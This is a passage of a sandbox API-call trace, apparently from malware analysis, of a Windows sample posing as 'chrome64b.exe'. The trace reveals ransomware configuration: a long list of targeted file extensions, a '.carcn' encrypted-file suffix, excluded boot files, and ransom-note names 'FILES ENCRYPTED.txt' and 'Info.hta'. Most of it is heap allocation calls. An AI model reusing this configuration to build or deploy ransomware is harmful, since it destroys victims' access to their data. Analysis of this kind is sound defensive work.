(lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0153.404] lstrlenW (lpString="") returned 0 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fa9b8 | out: hHeap=0x790000) returned 1 [0153.404] lstrlenW (lpString=".carcn") returned 6 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3258, Size=0x8) returned 0x7d3588 [0153.404] lstrlenW (lpString=".carcn") returned 6 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fa988 | out: hHeap=0x790000) returned 1 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa970, Size=0x20) returned 0x7cecf8 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac8a0 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac8a0, Size=0x80) returned 0x7d4a38 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3258, Size=0x8) returned 0x7d33f8 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d33f8, Size=0x10) returned 0x7fa868 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa868, Size=0x20) returned 0x7ceeb0 [0153.404] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4a38 | out: hHeap=0x790000) returned 1 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa988, Size=0x20) returned 0x7cecf8 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac5d0 [0153.404] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0153.404] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ac5d0 | out: hHeap=0x790000) returned 1 [0153.404] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa988, Size=0x20) returned 0x7ceed8 [0153.404] lstrlenW (lpString="Info.hta") returned 8 [0153.404] lstrlenW (lpString="Info.hta") returned 8 [0153.404] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceed8 | out: hHeap=0x790000) returned 1 [0153.405] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x7fafb0, nSize=0x7fff | out: lpFilename="C:\\Users\\FD1HVy\\Desktop\\chrome64b.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\chrome64b.exe")) returned 0x25 [0153.405] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fafb0 | out: hHeap=0x790000) returned 1 [0153.405] lstrlenW (lpString="chrome64b.exe") returned 13 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceeb0, Size=0x40) returned 0x7ac468 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa988, Size=0x20) returned 0x7ceeb0 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa988, Size=0x20) returned 0x7ceed8 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ceed8, Size=0x40) returned 0x7ac660 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac660, Size=0x80) returned 0x7d4df0 [0153.405] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4df0, Size=0x100) returned 0x7d6028 [0153.405] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0153.405] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.405] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x7fafb0, nSize=0x8000 | out: lpDst="C:\\WINDOWS;") returned 0xc [0153.405] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x80afb8 | out: hHeap=0x790000) returned 1 [0153.405] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fafb0 | out: hHeap=0x790000) returned 1 [0153.406] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34e8, Size=0x8) returned 0x7d3598 [0153.406] lstrlenW (lpString="%windir%;") returned 9 [0153.406] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7ceeb0 | out: hHeap=0x790000) returned 1 [0153.406] lstrlenW (lpString="C:\\WINDOWS;") returned 11 [0153.406] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e8780 | out: hHeap=0x790000) returned 1 [0153.406] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa988, Size=0x20) returned 0x7cede8 [0153.406] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cede8, Size=0x40) returned 0x7ac300 [0153.406] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac300, Size=0x80) returned 0x7d4d68 [0153.406] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4d68, Size=0x100) returned 0x7d6028 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3428, Size=0x8) returned 0x7d3578 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3578, Size=0x10) returned 0x7fa9b8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fa9b8, Size=0x20) returned 0x7ced48 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3538, Size=0x8) returned 0x7d34a8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3478, Size=0x8) returned 0x7d33d8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3418, Size=0x8) returned 0x7d34d8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34d8, Size=0x10) returned 0x7face8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7face8, Size=0x20) returned 0x7ceed8 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34a8, Size=0x10) returned 0x7fad90 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d33d8, Size=0x10) returned 0x7fad00 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3408, Size=0x8) returned 0x7d3468 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34e8, Size=0x8) returned 0x7d3548 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fad90, Size=0x20) returned 0x7ceeb0 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fad00, Size=0x20) returned 0x7cefa0 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34e8, Size=0x8) returned 0x7d3538 [0153.407] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0153.407] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.407] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fabf8, Size=0x20) returned 0x7cecf8 [0153.407] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x7e7778, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0153.407] lstrlenW (lpString="C:\\") returned 3 [0153.408] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x19fca4, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x19fca4*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.408] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0153.409] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3558, Size=0x82) returned 0x7d60b8 [0153.409] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3568, Size=0x100) returned 0x7d6148 [0153.409] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d60b8, Size=0x104) returned 0x7d6370 [0153.409] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6148, Size=0x200) returned 0x7e7778 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d34f8 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e7778 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fac88 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4680 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7faca0 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4e78 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7faaf0 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6370 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fad78 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6250 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fad30 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d62e0 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fad90 | out: hHeap=0x790000) returned 1 [0153.410] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fac40, Size=0x20) returned 0x7ced98 [0153.410] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ced98, Size=0x40) returned 0x7ac348 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d3488 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fad60 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d6028 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7faad8 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d4130 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fab98 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d3518 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7fad18 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a6328 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7a55d0 | out: hHeap=0x790000) returned 1 [0153.410] lstrlenW (lpString="%systemdrive%") returned 13 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7cecf8 | out: hHeap=0x790000) returned 1 [0153.410] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d40a8 | out: hHeap=0x790000) returned 1 [0153.411] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7d34e8 | out: hHeap=0x790000) returned 1 [0153.411] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x7d7758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x260 [0153.411] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10014) returned 0x7fafb0 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fad48 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fad48, Size=0x20) returned 0x7cecf8 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac4b0 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac4b0, Size=0x80) returned 0x7d4b48 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4b48, Size=0x100) returned 0x7d6028 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x200) returned 0x7d6028 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x400) returned 0x7d6028 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x800) returned 0x7e9780 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7e9780, Size=0x1000) returned 0x7e9780 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x80afd0 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7fad18 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fabf8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d34e8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x7fac40 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x4) returned 0x7d3418 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fad48 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d34e8, Size=0x8) returned 0x7d3508 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7faca0 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d3508, Size=0x10) returned 0x7fac88 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fad60 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fad78 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7fac88, Size=0x20) returned 0x7cecf8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fac10 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d33d8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7faad8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fad90 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7cecf8, Size=0x40) returned 0x7ac978 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fac88 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7faaf0 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fab08 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x7fab80 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fab20 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fab98 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d34e8 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fab68 [0153.412] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7ac978, Size=0x80) returned 0x7d4c58 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fabb0 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x7fac28 [0153.412] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b8e8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b630 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b690 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b810 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b840 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3568 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b660 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b828 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b8d0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b8a0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b900 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b858 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b7e0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b618 [0153.413] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d4c58, Size=0x100) returned 0x7d6028 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b648 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b678 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b6d8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81b870 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b6a8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b6c0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3488 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b750 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b888 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b6f0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7d33f8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b708 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b768 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3438 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b720 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b8b8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b738 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b780 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b798 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b7b0 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xe) returned 0x81b7c8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b7f8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x81ba68 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ba80 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bb70 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ba98 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bac8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d34f8 [0153.413] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b9a8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bab0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b9c0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bc00 [0153.414] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7d6028, Size=0x200) returned 0x7d6028 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ba50 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3518 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bbd0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ba38 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b9d8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bb88 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bba0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bbb8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bae0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bbe8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b9f0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81ba08 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b948 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81ba20 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b918 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81baf8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b930 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bb10 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81b960 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bb28 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b978 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bb40 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bb58 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d3498 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81b990 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bdc8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd38 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x8) returned 0x7d34a8 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd20 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xc) returned 0x81bc18 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd50 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bde0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bd68 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bea0 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bf00 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0xa) returned 0x81bc60 [0153.414] RtlAllocateHeap (HeapHandle=0x790000, 